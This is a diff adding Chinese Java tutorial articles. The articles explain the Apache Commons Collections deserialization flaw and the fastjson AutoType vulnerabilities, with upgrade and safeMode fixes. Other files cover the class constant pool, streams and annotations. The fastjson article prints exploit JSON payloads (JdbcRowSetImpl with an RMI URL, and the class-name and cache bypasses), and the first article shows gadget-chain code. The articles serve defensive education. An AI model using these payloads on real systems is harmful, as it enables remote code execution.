+ BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
+
+ // val是私有变量,所以利用下面方法进行赋值
+ Field valfield = poc.getClass().getDeclaredField("val");
+ valfield.setAccessible(true);
+ valfield.set(poc, entry);
+
+
+于是,这时候,攻击就非常简单了,只需要把BadAttributeValueExpException对象序列化成字符串,只要这个字符串内容被反序列化,那么就会被攻击。
+
+![][12]
+
+### 问题解决
+
+以上,我们复现了这个Apache Commons Collections类库带来的一个和反序列化有关的远程代码执行漏洞。
+
+通过这个漏洞的分析,我们可以发现,只要有一个地方代码写的不够严谨,就可能会被攻击者利用。
+
+因为这个漏洞影响范围很大,所以在被爆出来之后就被修复掉了,开发者只需要将Apache Commons Collections类库升级到3.2.2版本,即可避免这个漏洞。
+
+![-w1382][13]
+
+3\.2.2版本对一些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括
+
+ CloneTransformer
+ ForClosure
+ InstantiateFactory
+ InstantiateTransformer
+ InvokerTransformer
+ PrototypeCloneFactory
+ PrototypeSerializationFactory,
+ WhileClosure
+
+
+如在InvokerTransformer类中,自己实现了和序列化有关的writeObject()和 readObject()方法:
+
+![][14]
+
+在两个方法中,进行了序列化安全的相关校验,校验实现代码如下:
+
+![][15]
+
+在序列化及反序列化过程中,会检查对于一些不安全类的序列化支持是否是被禁用的,如果是禁用的,那么就会抛出`UnsupportedOperationException`,通过`org.apache.commons.collections.enableUnsafeSerialization`设置这个特性的开关。
+
+将Apache Commons Collections升级到3.2.2以后,执行文中示例代码,将报错如下:
+
+ Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
+ at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
+ at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
+
+
+### 后话
+
+本文介绍了Apache Commons Collections的历史版本中的一个反序列化漏洞。
+
+如果你阅读本文之后,能够有以下思考,那么本文的目的就达到了:
+
+1、代码都是人写的,有bug都是可以理解的
+
+2、公共的基础类库,一定要重点考虑安全性问题
+
+3、在使用公共类库的时候,要时刻关注其安全情况,一旦有漏洞爆出,要马上升级
+
+4、安全领域深不见底,攻击者总能抽丝剥茧,一点点bug都可能被利用
+
+参考资料: https://commons.apache.org/proper/commons-collections/release_3_2_2.html https://p0sec.net/index.php/archives/121/ https://www.freebuf.com/vuls/175252.html https://kingx.me/commons-collections-java-deserialization.html
+
+ [1]: https://www.hollischuang.com/archives/5177
+ [2]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944480560097.jpg
+ [3]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944485613275.jpg
+ [4]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944494651843.jpg
+ [5]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944505042521.jpg
+ [6]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944497629664.jpg
+ [7]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944539116926.jpg
+ [8]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944538564178.jpg
+ [9]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944509076736.jpg
+ [10]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944537562975.jpg
+ [11]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944519240647.jpg
+ [12]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944537014741.jpg
+ [13]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944526874284.jpg
+ [14]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944525715616.jpg
+ [15]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944525999226.jpg
diff --git a/docs/basics/java-basic/bug-in-fastjson.md b/docs/basics/java-basic/bug-in-fastjson.md
new file mode 100644
index 00000000..82219f3c
--- /dev/null
+++ b/docs/basics/java-basic/bug-in-fastjson.md
@@ -0,0 +1,337 @@
+fastjson大家一定都不陌生,这是阿里巴巴的开源一个JSON解析库,通常被用于将Java Bean和JSON 字符串之间进行转换。
+
+前段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。
+
+但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带着疑惑,去看了下fastjson的releaseNote以及部分源代码。
+
+最终发现,这其实和fastjson中的一个AutoType特性有关。
+
+从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ,每个版本的升级中都有关于AutoType的升级。
+
+下面是fastjson的官方releaseNotes 中,几次关于AutoType的重要升级:
+
+> 1\.2.59发布,增强AutoType打开时的安全性 fastjson
+>
+> 1\.2.60发布,增加了AutoType黑名单,修复拒绝服务安全问题 fastjson
+>
+> 1\.2.61发布,增加AutoType安全黑名单 fastjson
+>
+> 1\.2.62发布,增加AutoType黑名单、增强日期反序列化和JSONPath fastjson
+>
+> 1\.2.66发布,Bug修复安全加固,并且做安全加固,补充了AutoType黑名单 fastjson
+>
+> 1\.2.67发布,Bug修复安全加固,补充了AutoType黑名单 fastjson
+>
+> 1\.2.68发布,支持GEOJSON,补充了AutoType黑名单。(**引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType。**) fastjson
+>
+> 1\.2.69发布,修复新发现高危AutoType开关绕过安全漏洞,补充了AutoType黑名单 fastjson
+>
+> 1\.2.70发布,提升兼容性,补充了AutoType黑名单
+
+甚至在fastjson的开源库中,有一个Issue是建议作者提供不带autoType的版本:
+
+![-w747][1]
+
+那么,什么是AutoType?为什么fastjson要引入AutoType?为什么AutoType会导致安全漏洞呢?本文就来深入分析一下。
+
+### AutoType 何方神圣?
+
+fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
+
+但是,fastjson在序列化以及反序列化的过程中并没有使用[Java自带的序列化机制][2],而是自定义了一套机制。
+
+其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
+
+* 1、基于属性
+* 2、基于setter/getter
+
+而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。
+
+假设我们有以下一个Java类:
+
+ class Store {
+ private String name;
+ private Fruit fruit;
+ public String getName() {
+ return name;
+ }
+ public void setName(String name) {
+ this.name = name;
+ }
+ public Fruit getFruit() {
+ return fruit;
+ }
+ public void setFruit(Fruit fruit) {
+ this.fruit = fruit;
+ }
+ }
+
+ interface Fruit {
+ }
+
+ class Apple implements Fruit {
+ private BigDecimal price;
+ //省略 setter/getter、toString等
+ }
+
+
+**当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。**
+
+那么问题来了,我们上面的定义的Fruit只是一个接口,序列化的时候fastjson能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?
+
+我们尝试着验证一下,基于(fastjson v 1.2.68):
+
+ Store store = new Store();
+ store.setName("Hollis");
+ Apple apple = new Apple();
+ apple.setPrice(new BigDecimal(0.5));
+ store.setFruit(apple);
+ String jsonString = JSON.toJSONString(store);
+ System.out.println("toJSONString : " + jsonString);
+
+
+以上代码比较简单,我们创建了一个store,为他指定了名称,并且创建了一个Fruit的子类型Apple,然后将这个store使用`JSON.toJSONString`进行序列化,可以得到以下JSON内容:
+
+ toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
+
+
+那么,这个fruit的类型到底是什么呢,能否反序列化成Apple呢?我们再来执行以下代码:
+
+ Store newStore = JSON.parseObject(jsonString, Store.class);
+ System.out.println("parseObject : " + newStore);
+ Apple newApple = (Apple)newStore.getFruit();
+ System.out.println("getFruit : " + newApple);
+
+
+执行结果如下:
+
+ toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
+ parseObject : Store{name='Hollis', fruit={}}
+ Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
+ at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
+
+
+可以看到,在将store反序列化之后,我们尝试将Fruit转换成Apple,但是抛出了异常,尝试直接转换成Fruit则不会报错,如:
+
+ Fruit newFruit = newStore.getFruit();
+ System.out.println("getFruit : " + newFruit);
+
+
+以上现象,我们知道,**当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。**
+
+那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。
+
+使用方法是通过`SerializerFeature.WriteClassName`进行标记,即将上述代码中的
+
+ String jsonString = JSON.toJSONString(store);
+
+
+修改成:
+
+ String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
+
+
+即可,以上代码,输出结果如下:
+
+ System.out.println("toJSONString : " + jsonString);
+
+ {
+ "@type":"com.hollis.lab.fastjson.test.Store",
+ "fruit":{
+ "@type":"com.hollis.lab.fastjson.test.Apple",
+ "price":0.5
+ },
+ "name":"Hollis"
+ }
+
+
+可以看到,**使用`SerializerFeature.WriteClassName`进行标记后,JSON字符串中多出了一个`@type`字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型**
+
+如上,将序列化后的字符串在反序列化,既可以顺利的拿到一个Apple类型,整体输出内容:
+
+ toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
+ parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
+ getFruit : Apple{price=0.5}
+
+
+这就是AutoType,以及fastjson中引入AutoType的原因。
+
+但是,也正是这个特性,因为在功能设计之初在安全方面考虑的不够周全,也给后续fastjson使用者带来了无尽的痛苦
+
+### AutoType 何错之有?
+
+因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取`@type`到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。
+
+那么就可以利用这个特性,自己构造一个JSON字符串,并且使用`@type`指定一个自己想要使用的攻击类库。
+
+举个例子,黑客比较常用的攻击类库是`com.sun.rowset.JdbcRowSetImpl`,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
+
+而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。
+
+如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetImpl已经被加了黑名单)
+
+ {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
+
+
+**这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。**
+
+在早期的fastjson版本中(v1.2.25 之前),因为AutoType是默认开启的,并且也没有什么限制,可以说是裸着的。
+
+从v1.2.25开始,fastjson默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。
+
+但是,也是从这个时候开始,黑客和fastjson作者之间的博弈就开始了。
+
+因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了"如何绕过checkAutotype"。
+
+下面就来细数一下各个版本的fastjson中存在的漏洞以及攻击原理,**由于篇幅限制,这里并不会讲解的特别细节,如果大家感兴趣我后面可以单独写一篇文章讲讲细节**。下面的内容主要是提供一些思路,目的是说明写代码的时候注意安全性的重要性。
+
+#### 绕过checkAutotype,黑客与fastjson的博弈
+
+在fastjson v1.2.41 之前,在checkAutotype的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。
+
+但是在加载的过程中,fastjson有一段特殊的处理,那就是在具体加载类的时候会去掉className前后的`L`和`;`,形如`Lcom.lang.Thread;`。
+
+![-w853][3]
+
+而黑白名单又是通过startWith检测的,那么黑客只要在自己想要使用的攻击类库前后加上`L`和`;`就可以绕过黑白名单的检查了,也不耽误被fastjson正常加载。
+
+如`Lcom.sun.rowset.JdbcRowSetImpl;`,会先通过白名单校验,然后fastjson在加载类的时候会去掉前后的`L`和`;`,变成了`com.sun.rowset.JdbcRowSetImpl`。
+
+为了避免被攻击,在之后的 v1.2.42版本中,在进行黑白名单检测的时候,fastjson先判断目标类的类名的前后是不是`L`和`;`,如果是的话,就截取掉前后的`L`和`;`再进行黑白名单的校验。
+
+看似解决了问题,但是黑客发现了这个规则之后,就在攻击时在目标类前后双写`LL`和`;;`,这样再被截取之后还是可以绕过检测。如`LLcom.sun.rowset.JdbcRowSetImpl;;`
+
+魔高一尺,道高一丈。在 v1.2.43中,fastjson这次在黑白名单判断之前,增加了一个是否以`LL`开头的判断,如果目标类以`LL`开头,那么就直接抛异常,于是就又短暂的修复了这个漏洞。
+
+黑客在`L`和`;`这里走不通了,于是想办法从其他地方下手,因为fastjson在加载类的时候,不只对`L`和`;`这样的类进行特殊处理,还对`[`特殊处理了。
+
+同样的攻击手段,在目标类前面添加`[`,v1.2.43以前的所有版本又沦陷了。
+
+于是,在 v1.2.44版本中,fastjson的作者做了更加严格的要求,只要目标类以`[`开头或者以`;`结尾,都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。
+
+在之后的几个版本中,黑客的主要的攻击方式就是绕过黑名单了,而fastjson也在不断的完善自己的黑名单。
+
+#### autoType不开启也能被攻击?
+
+但是好景不长,在升级到 v1.2.47 版本时,黑客再次找到了办法来攻击。而且这个攻击只有在autoType关闭的时候才生效。
+
+是不是很奇怪,autoType不开启反而会被攻击。
+
+因为**在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。**黑客正是利用这里机制进行了攻击。
+
+黑客先想办法把一个类加到缓存中,然后再次执行的时候就可以绕过黑白名单检测了,多么聪明的手段。
+
+首先想要把一个黑名单中的类加到缓存中,需要使用一个不在黑名单中的类,这个类就是`java.lang.Class`
+
+`java.lang.Class`类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。
+
+
+
+如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中
+
+
+
+如果再次加载val名称的类,并且autotype没开启,下一步就是会尝试从全局缓存中获取这个class,进而进行攻击。
+
+所以,黑客只需要把攻击类伪装以下就行了,如下格式:
+
+ {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
+
+
+于是在 v1.2.48中,fastjson修复了这个bug,在MiscCodec中,处理Class类的地方,设置了fastjson cache为false,这样攻击类就不会被缓存了,也就不会被获取到了。
+
+在之后的多个版本中,黑客与fastjson又继续一直都在绕过黑名单、添加黑名单中进行周旋。
+
+直到后来,黑客在 v1.2.68之前的版本中又发现了一个新的漏洞利用方式。
+
+#### 利用异常进行攻击
+
+在fastjson中, 如果,@type 指定的类为 Throwable 的子类,那对应的反序列化处理类就会使用到 ThrowableDeserializer
+
+而在ThrowableDeserializer#deserialze的方法中,当有一个字段的key也是 @type时,就会把这个 value 当做类名,然后进行一次 checkAutoType 检测。
+
+并且指定了expectClass为Throwable.class,但是**在checkAutoType中,有这样一约定,那就是如果指定了expectClass ,那么也会通过校验。**
+
+![-w869][4]
+
+因为fastjson在反序列化的时候会尝试执行里面的getter方法,而Exception类中都有一个getMessage方法。
+
+黑客只需要自定义一个异常,并且重写其getMessage就达到了攻击的目的。
+
+**这个漏洞就是6月份全网疯传的那个"严重漏洞",使得很多开发者不得不升级到新版本。**
+
+这个漏洞在 v1.2.69中被修复,主要修复方式是对于需要过滤掉的expectClass进行了修改,新增了4个新的类,并且将原来的Class类型的判断修改为hash的判断。
+
+其实,根据fastjson的官方文档介绍,即使不升级到新版,在v1.2.68中也可以规避掉这个问题,那就是使用safeMode
+
+### AutoType 安全模式?
+
+可以看到,这些漏洞的利用几乎都是围绕AutoType来的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。
+
+设置了safeMode后,@type 字段不再生效,即当解析形如{"@type": "com.java.class"}的JSON串时,将不再反序列化出对应的类。
+
+开启safeMode方式如下:
+
+ ParserConfig.getGlobalInstance().setSafeMode(true);
+
+
+如在本文的最开始的代码示例中,使用以上代码开启safeMode模式,执行代码,会得到以下异常:
+
+ Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
+ at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
+
+
+但是值得注意的是,使用这个功能,fastjson会直接禁用autoType功能,即在checkAutoType方法中,直接抛出一个异常。
+
+![-w821][5]
+
+### 后话
+
+目前fastjson已经发布到了 v1.2.72版本,历史版本中存在的已知问题在新版本中均已修复。
+
+开发者可以将自己项目中使用的fastjson升级到最新版,并且如果代码中不需要用到AutoType的话,可以考虑使用safeMode,但是要评估下对历史代码的影响。
+
+因为**fastjson自己定义了序列化工具类,并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式,大大提升了序列化及反序列化的效率。**
+
+之前有网友对比过:
+
+![-w808][6]
+
+当然,**快的同时也带来了一些安全性问题,这是不可否认的。**
+
+最后,其实我还想说几句,虽然fastjson是阿里巴巴开源出来的,但是据我所知,这个项目大部分时间都是其作者温少一个人在靠业余时间维护的。
+
+知乎上有网友说:"**温少几乎凭一己之力撑起了一个被广泛使用JSON库,而其他库几乎都是靠一整个团队,就凭这一点,温少作为“初心不改的阿里初代开源人”,当之无愧。**"
+
+其实,关于fastjson漏洞的问题,阿里内部也有很多人诟病过,但是诟病之后大家更多的是给予**理解**和**包容**。
+
+fastjson目前是国产类库中比较出名的一个,可以说是倍受关注,所以渐渐成了安全研究的重点,所以会有一些深度的漏洞被发现。就像温少自己说的那样:
+
+"和发现漏洞相比,更糟糕的是有漏洞不知道被人利用。及时发现漏洞并升级版本修复是安全能力的一个体现。"
+
+就在我写这篇文章的时候,在钉钉上问了温少一个问题,他竟然秒回,这令我很惊讶。因为那天是周末,周末钉钉可以做到秒回,这说明了什么?
+
+他大概率是在利用自己的业余维护fastjson吧...
+
+最后,知道了fastjson历史上很多漏洞产生的原因之后,其实对我自己来说,我是"更加敢用"fastjson了...
+
+致敬fastjson!致敬安全研究者!致敬温少!
+
+参考资料:
+
+https://github.com/alibaba/fastjson/releases
+
+https://github.com/alibaba/fastjson/wiki/security_update_20200601
+
+https://paper.seebug.org/1192/
+
+https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
+
+http://www.lmxspace.com/2019/06/29/FastJson-反序列化学习
+
+ [1]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938379635086.jpg
+ [2]: https://www.hollischuang.com/archives/1140
+ [3]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938462506312.jpg
+ [4]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938495572144.jpg
+ [5]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938532891003.jpg
+ [6]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938545656293.jpg
diff --git a/basics/java-basic/byte-stream-vs-character-stream.md b/docs/basics/java-basic/byte-stream-vs-character-stream.md
similarity index 100%
rename from basics/java-basic/byte-stream-vs-character-stream.md
rename to docs/basics/java-basic/byte-stream-vs-character-stream.md
diff --git a/docs/basics/java-basic/class-contant-pool.md b/docs/basics/java-basic/class-contant-pool.md
new file mode 100644
index 00000000..d55008c0
--- /dev/null
+++ b/docs/basics/java-basic/class-contant-pool.md
@@ -0,0 +1,130 @@
+在Java中,常量池的概念想必很多人都听说过。这也是面试中比较常考的题目之一。在Java有关的面试题中,一般习惯通过String的有关问题来考察面试者对于常量池的知识的理解,几道简单的String面试题难倒了无数的开发者。所以说,常量池是Java体系中一个非常重要的概念。
+
+谈到常量池,在Java体系中,共用三种常量池。分别是**字符串常量池**、**Class常量池**和**运行时常量池**。
+
+本文先来介绍一下到底什么是Class常量池。
+
+### 什么是Class文件
+
+在[Java代码的编译与反编译那些事儿][1]中我们介绍过Java的编译和反编译的概念。我们知道,计算机只认识0和1,所以程序员写的代码都需要经过编译成0和1构成的二进制格式才能够让计算机运行。
+
+我们在《[深入分析Java的编译原理][2]》中提到过,为了让Java语言具有良好的跨平台能力,Java独具匠心的提供了一种可以在所有平台上都能使用的一种中间代码——字节码(ByteCode)。
+
+有了字节码,无论是哪种平台(如Windows、Linux等),只要安装了虚拟机,都可以直接运行字节码。
+
+同样,有了字节码,也解除了Java虚拟机和Java语言之间的耦合。这话可能很多人不理解,Java虚拟机不就是运行Java语言的么?这种解耦指的是什么?
+
+其实,目前Java虚拟机已经可以支持很多除Java语言以外的语言了,如Groovy、JRuby、Jython、Scala等。之所以可以支持,就是因为这些语言也可以被编译成字节码。而虚拟机并不关心字节码是有哪种语言编译而来的。
+
+Java语言中负责编译出字节码的编译器是一个命令是`javac`。
+
+> javac是收录于JDK中的Java语言编译器。该工具可以将后缀名为.java的源文件编译为后缀名为.class的可以运行于Java虚拟机的字节码。
+
+如,我们有以下简单的`HelloWorld.java`代码:
+
+ public class HelloWorld {
+ public static void main(String[] args) {
+ String s = "Hollis";
+ }
+ }
+
+
+通过javac命令生成class文件:
+
+ javac HelloWorld.java
+
+
+生成`HelloWorld.class`文件:
+
+![][3]
+
+> 如何使用16进制打开class文件:使用 `vim test.class` ,然后在交互模式下,输入`:%!xxd` 即可。
+
+可以看到,上面的文件就是Class文件,Class文件中包含了Java虚拟机指令集和符号表以及若干其他辅助信息。
+
+要想能够读懂上面的字节码,需要了解Class类文件的结构,由于这不是本文的重点,这里就不展开说明了。
+
+> 读者可以看到,`HelloWorld.class`文件中的前八个字母是`cafe babe`,这就是Class文件的魔数([Java中的”魔数”][4])
+
+我们需要知道的是,在Class文件的4个字节的魔数后面的分别是4个字节的Class文件的版本号(第5、6个字节是次版本号,第7、8个字节是主版本号,我生成的Class文件的版本号是52,这时Java 8对应的版本。也就是说,这个版本的字节码,在JDK 1.8以下的版本中无法运行)在版本号后面的,就是Class常量池入口了。
+
+### Class常量池
+
+Class常量池可以理解为是Class文件中的资源仓库。 Class文件中除了包含类的版本、字段、方法、接口等描述信息外,还有一项信息就是常量池(constant pool table),用于存放编译器生成的各种字面量(Literal)和符号引用(Symbolic References)。
+
+由于不同的Class文件中包含的常量的个数是不固定的,所以在Class文件的常量池入口处会设置两个字节的常量池容量计数器,记录了常量池中常量的个数。
+
+![-w697][5]
+
+当然,还有一种比较简单的查看Class文件中常量池的方法,那就是通过`javap`命令。对于以上的`HelloWorld.class`,可以通过
+
+ javap -v HelloWorld.class
+
+
+查看常量池内容如下:
+
+![][6]
+
+> 从上图中可以看到,反编译后的class文件常量池中共有16个常量。而Class文件中常量计数器的数值是0011,将该16进制数字转换成10进制的结果是17。
+>
+> 原因是与Java的语言习惯不同,常量池计数器是从1开始而不是从0开始的,常量池的个数是10进制的17,这就代表了其中有16个常量,索引值范围为1-16。
+
+### 常量池中有什么
+
+介绍完了什么是Class常量池以及如何查看常量池,那么接下来我们就要深入分析一下,Class常量池中都有哪些内容。
+
+常量池中主要存放两大类常量:字面量(literal)和符号引用(symbolic references)。
+
+### 字面量
+
+前面说过,Class常量池中主要保存的是字面量和符号引用,那么到底什么字面量?
+
+> 在计算机科学中,字面量(literal)是用于表达源代码中一个固定值的表示法(notation)。几乎所有计算机编程语言都具有对基本值的字面量表示,诸如:整数、浮点数以及字符串;而有很多也对布尔类型和字符类型的值也支持字面量表示;还有一些甚至对枚举类型的元素以及像数组、记录和对象等复合类型的值也支持字面量表示法。
+
+以上是关于计算机科学中关于字面量的解释,并不是很容易理解。说简单点,字面量就是指由字母、数字等构成的字符串或者数值。
+
+字面量只可以右值出现,所谓右值是指等号右边的值,如:int a=123这里的a为左值,123为右值。在这个例子中123就是字面量。
+
+ int a = 123;
+ String s = "hollis";
+
+
+上面的代码事例中,123和hollis都是字面量。
+
+本文开头的HelloWorld代码中,Hollis就是一个字面量。
+
+### 符号引用
+
+常量池中,除了字面量以外,还有符号引用,那么到底什么是符号引用呢。
+
+符号引用是编译原理中的概念,是相对于直接引用来说的。主要包括了以下三类常量: * 类和接口的全限定名 * 字段的名称和描述符 * 方法的名称和描述符
+
+这也就可以印证前面的常量池中还包含一些`com/hollis/HelloWorld`、`main`、`([Ljava/lang/String;)V`等常量的原因了。
+
+### Class常量池有什么用
+
+前面介绍了这么多,关于Class常量池是什么,怎么查看Class常量池以及Class常量池中保存了哪些东西。有一个关键的问题没有讲,那就是Class常量池到底有什么用。
+
+首先,可以明确的是,Class常量池是Class文件中的资源仓库,其中保存了各种常量。而这些常量都是开发者定义出来,需要在程序的运行期使用的。
+
+在《深入理解Java虚拟》中有这样的表述:
+
+Java代码在进行`Javac`编译的时候,并不像C和C++那样有“连接”这一步骤,而是在虚拟机加载Class文件的时候进行动态连接。也就是说,在Class文件中不会保存各个方法、字段的最终内存布局信息,因此这些字段、方法的符号引用不经过运行期转换的话无法得到真正的内存入口地址,也就无法直接被虚拟机使用。当虚拟机运行时,需要从常量池获得对应的符号引用,再在类创建时或运行时解析、翻译到具体的内存地址之中。关于类的创建和动态连接的内容,在虚拟机类加载过程时再进行详细讲解。
+
+前面这段话,看起来很绕,不是很容易理解。其实他的意思就是: Class是用来保存常量的一个媒介场所,并且是一个中间场所。在JVM真的运行时,需要把常量池中的常量加载到内存中。
+
+至于到底哪个阶段会做这件事情,以及Class常量池中的常量会以何种方式被加载到具体什么地方,会在本系列文章的后续内容中继续阐述。欢迎关注我的博客(http://www.hollischuang.com) 和公众号(Hollis),即可第一时间获得最新内容。
+
+另外,关于常量池中常量的存储形式,以及数据类型的表示方法本文中并未涉及,并不是说这部分知识点不重要,只是Class字节码的分析本就枯燥,作者不想在一篇文章中给读者灌输太多的理论上的内容。感兴趣的读者可以自行Google学习,如果真的有必要,我也可以单独写一篇文章再深入介绍。
+
+### 参考资料
+
+《深入理解java虚拟机》 [《Java虚拟机原理图解》 1.2.2、Class文件中的常量池详解(上)][7]
+
+ [1]: http://www.hollischuang.com/archives/58
+ [2]: http://www.hollischuang.com/archives/2322
+ [3]: http://www.hollischuang.com/wp-content/uploads/2018/10/15401179593014.jpg
+ [4]: http://www.hollischuang.com/archives/491
+ [5]: http://www.hollischuang.com/wp-content/uploads/2018/10/15401192359009.jpg
+ [6]: http://www.hollischuang.com/wp-content/uploads/2018/10/15401195127619.jpg
+ [7]: https://blog.csdn.net/luanlouis/article/details/39960815
diff --git a/docs/basics/java-basic/const-in-java.md b/docs/basics/java-basic/const-in-java.md
new file mode 100644
index 00000000..d128c31c
--- /dev/null
+++ b/docs/basics/java-basic/const-in-java.md
@@ -0,0 +1 @@
+ const是Java预留关键字,用于后期扩展用,用法跟final相似,不常用
\ No newline at end of file
diff --git a/docs/basics/java-basic/convert-bytestream-characterstream.md b/docs/basics/java-basic/convert-bytestream-characterstream.md
new file mode 100644
index 00000000..c66a56d7
--- /dev/null
+++ b/docs/basics/java-basic/convert-bytestream-characterstream.md
@@ -0,0 +1,43 @@
+
+想要实现字符流和字节流之间的相互转换需要用到两个类:
+
+OutputStreamWriter 是字符流通向字节流的桥梁
+
+InputStreamReader 是字节流通向字符流的桥梁
+
+### 字符流转成字节流
+
+```
+
+public static void main(String[] args) throws IOException {
+ File f = new File("test.txt");
+
+ // OutputStreamWriter 是字符流通向字节流的桥梁,创建了一个字符流通向字节流的对象
+ OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(f),"UTF-8");
+
+ osw.write("我是字符流转换成字节流输出的");
+ osw.close();
+
+}
+
+```
+
+### 字节流转成字符流
+
+```
+ public static void main(String[] args) throws IOException {
+
+ File f = new File("test.txt");
+
+ InputStreamReader inr = new InputStreamReader(new FileInputStream(f),"UTF-8");
+
+ char[] buf = new char[1024];
+
+ int len = inr.read(buf);
+ System.out.println(new String(buf,0,len));
+
+ inr.close();
+
+ }
+
+```
\ No newline at end of file
diff --git a/docs/basics/java-basic/create-annotation.md b/docs/basics/java-basic/create-annotation.md
new file mode 100644
index 00000000..5a89135d
--- /dev/null
+++ b/docs/basics/java-basic/create-annotation.md
@@ -0,0 +1,42 @@
+在Java中,类使用class定义,接口使用interface定义,注解和接口的定义差不多,增加了一个@符号,即@interface,代码如下:
+
+ public @interface EnableAuth {
+
+ }
+
+注解中可以定义成员变量,用于信息的描述,跟接口中方法的定义类似,代码如下:
+
+ public @interface EnableAuth {
+ String name();
+ }
+
+还可以添加默认值:
+
+ public @interface EnableAuth {
+ String name() default "猿天地";
+ }
+
+上面的介绍只是完成了自定义注解的第一步,开发中日常使用注解大部分是用在类上,方法上,字段上,示列代码如下:
+
+ @Target(ElementType.METHOD)
+ @Retention(RetentionPolicy.RUNTIME)
+ @Documented
+ public @interface EnableAuth {
+
+ }
+
+Target
+
+用于指定被修饰的注解修饰哪些程序单元,也就是上面说的类,方法,字段
+
+Retention
+
+用于指定被修饰的注解被保留多长时间,分别SOURCE(注解仅存在于源码中,在class字节码文件中不包含),CLASS(默认的保留策略,注解会在class字节码文件中存在,但运行时无法获取),RUNTIME(注解会在class字节码文件中存在,在运行时可以通过反射获取到)三种类型,如果想要在程序运行过程中通过反射来获取注解的信息需要将Retention设置为RUNTIME
+
+Documented
+
+用于指定被修饰的注解类将被javadoc工具提取成文档
+
+Inherited
+
+用于指定被修饰的注解类将具有继承性
\ No newline at end of file
